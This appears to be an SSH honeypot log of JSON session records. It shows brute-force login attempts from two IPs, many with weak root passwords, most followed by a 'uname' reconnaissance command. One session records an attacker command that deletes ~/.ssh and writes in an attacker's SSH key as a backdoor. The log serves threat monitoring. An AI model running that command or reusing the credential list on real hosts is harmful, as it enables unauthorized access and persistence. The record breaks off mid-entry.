Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: niaoyun
{
"id": "58956c472541",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:19:18.627613Z",
"end_time": "2026-09-26T18:19:20.756322Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "niaoyun",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Pass1234
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "b505aa8b073d",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:19:13.760661Z",
"end_time": "2026-09-26T18:19:15.451477Z",
"duration": "1.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Pass1234"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user3
{
"id": "b6eae43bae23",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:19:08.797451Z",
"end_time": "2026-09-26T18:19:10.785490Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user3",
"pass": "user3"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / QWEqwe123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "a39a2cbd9595",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:19:03.720974Z",
"end_time": "2026-09-26T18:19:06.850419Z",
"duration": "3.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "QWEqwe123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user10
{
"id": "5e56660237b8",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:18:58.364455Z",
"end_time": "2026-09-26T18:19:00.598520Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user10",
"pass": "user10"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: user / user
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "0e9f9d4cf259",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:18:53.689631Z",
"end_time": "2026-09-26T18:18:57.051332Z",
"duration": "3.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "user"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: esuser
{
"id": "efd0ec1e07d4",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:18:48.532767Z",
"end_time": "2026-09-26T18:18:52.018296Z",
"duration": "3.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "esuser",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: teste
{
"id": "247de608b548",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:18:43.752165Z",
"end_time": "2026-09-26T18:18:46.694081Z",
"duration": "2.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "teste",
"pass": "teste"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: toor
{
"id": "b3ac37cd743c",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:18:39.744964Z",
"end_time": "2026-09-26T18:18:42.002474Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "toor",
"pass": "admin123!@"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gianluca
{
"id": "481f45df05c6",
"src_ip": "161.132.38.233",
"start_time": "2026-09-26T18:18:38.032199Z",
"end_time": "2026-09-26T18:18:39.753593Z",
"duration": "1.7",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "gianluca",
"pass": "gianluca"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: username
{
"id": "8266da157328",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:18:34.575342Z",
"end_time": "2026-09-26T18:18:38.233526Z",
"duration": "3.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "username",
"pass": "123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nominatim
{
"id": "a947af1f0517",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:18:28.828506Z",
"end_time": "2026-09-26T18:18:31.161261Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "nominatim",
"pass": "nominatim123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / P@ssw0rd
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "01b316468a7f",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:18:23.634321Z",
"end_time": "2026-09-26T18:18:25.354579Z",
"duration": "1.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "P@ssw0rd"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: test / abc123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "16a0841f613d",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:18:18.999643Z",
"end_time": "2026-09-26T18:18:21.689254Z",
"duration": "2.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "test",
"pass": "abc123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: root / devops123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "53b9f65ca025",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:18:14.332989Z",
"end_time": "2026-09-26T18:18:18.177619Z",
"duration": "3.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "devops123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: ubuntu / p@ssw0rd
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "cb446abfbfb1",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:18:09.359227Z",
"end_time": "2026-09-26T18:18:11.041540Z",
"duration": "1.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "ubuntu",
"pass": "p@ssw0rd"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: trader
{
"id": "3458f4aa9934",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:18:04.575021Z",
"end_time": "2026-09-26T18:18:07.623156Z",
"duration": "3.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "trader",
"pass": "trader123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: marcu1
{
"id": "261267c58cc7",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:17:59.335873Z",
"end_time": "2026-09-26T18:18:01.588728Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "marcu1",
"pass": "marcu1"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 13131313
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "09e946721a01",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:17:54.687451Z",
"end_time": "2026-09-26T18:17:57.994219Z",
"duration": "3.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "13131313"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jay
{
"id": "55a94ead8205",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:17:49.445209Z",
"end_time": "2026-09-26T18:17:51.588092Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "jay",
"pass": "jay"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Aa123456@
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "9011f49fa7fe",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:17:44.839787Z",
"end_time": "2026-09-26T18:17:46.503751Z",
"duration": "1.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Aa123456@"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: root / 12qwaszx
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "c4acb49a1a28",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:17:39.793867Z",
"end_time": "2026-09-26T18:17:41.676244Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "12qwaszx"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: root / 0
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "431ed73c736d",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:17:35.053833Z",
"end_time": "2026-09-26T18:17:36.759104Z",
"duration": "1.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "0"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: webadmin
{
"id": "538c1f69f54b",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:17:30.902844Z",
"end_time": "2026-09-26T18:17:34.085506Z",
"duration": "3.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "webadmin",
"pass": "1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Admin@123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "ae77a40fe286",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:17:26.021169Z",
"end_time": "2026-09-26T18:17:28.772545Z",
"duration": "2.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Admin@123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: claude
{
"id": "48cb988f15c7",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:17:21.457163Z",
"end_time": "2026-09-26T18:17:24.463013Z",
"duration": "3.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "claude",
"pass": "claude123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: server
{
"id": "5c3e40c1f6ab",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:17:16.669114Z",
"end_time": "2026-09-26T18:17:18.747053Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "server",
"pass": "0000"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / admin1234
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "d738acb8b2de",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:17:11.911375Z",
"end_time": "2026-09-26T18:17:14.470134Z",
"duration": "2.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "admin1234"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: ftpuser / 123456
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "54fbac714e8d",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:17:07.052621Z",
"end_time": "2026-09-26T18:17:08.834775Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "ftpuser",
"pass": "123456"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "ebb9a644b799",
"src_ip": "161.132.38.233",
"start_time": "2026-09-26T18:17:05.016731Z",
"end_time": "2026-09-26T18:17:05.742479Z",
"duration": "0.7",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "f067ff48e85c",
"src_ip": "161.132.38.233",
"start_time": "2026-09-26T18:17:03.133451Z",
"end_time": "2026-09-26T18:17:04.906967Z",
"duration": "1.8",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 123admin
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "03d5c2ea8bdc",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:17:02.350434Z",
"end_time": "2026-09-26T18:17:04.033855Z",
"duration": "1.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "123admin"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: root / Cloud.123
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "60fa961f8495",
"src_ip": "161.132.38.233",
"start_time": "2026-09-26T18:17:01.603883Z",
"end_time": "2026-09-26T18:17:05.738814Z",
"duration": "4.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Cloud.123"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / 159159159
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "7cc0acaf5559",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:57.415413Z",
"end_time": "2026-09-26T18:16:59.468635Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "159159159"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: root / Admin@123.
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "7ca5ceefc1d8",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:52.687013Z",
"end_time": "2026-09-26T18:16:54.340125Z",
"duration": "1.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Admin@123."
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: root / Huawei!@
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "408079d59524",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:48.013527Z",
"end_time": "2026-09-26T18:16:49.747417Z",
"duration": "1.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Huawei!@"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: odoo18
{
"id": "1fa73a0c8835",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:43.315810Z",
"end_time": "2026-09-26T18:16:45.946683Z",
"duration": "2.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "odoo18",
"pass": "odoo"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: fastuser
{
"id": "785aa1befd9c",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:38.158994Z",
"end_time": "2026-09-26T18:16:40.851547Z",
"duration": "2.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "fastuser",
"pass": "fastuser"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: zabbix
{
"id": "9ef528f8db5e",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:33.156795Z",
"end_time": "2026-09-26T18:16:35.152558Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "zabbix",
"pass": "zabbix"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Password12
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "9bf1b47c47cd",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:28.389395Z",
"end_time": "2026-09-26T18:16:30.205096Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Password12"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: arya
{
"id": "5d6996bb3f54",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:23.928136Z",
"end_time": "2026-09-26T18:16:27.109154Z",
"duration": "3.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "arya",
"pass": "arya@123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user1
{
"id": "f0c29a1edcbe",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:19.004525Z",
"end_time": "2026-09-26T18:16:21.266415Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user1",
"pass": "root@123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / ABCabc123456.
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "949c3116bad0",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:14.190025Z",
"end_time": "2026-09-26T18:16:16.467442Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "ABCabc123456."
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
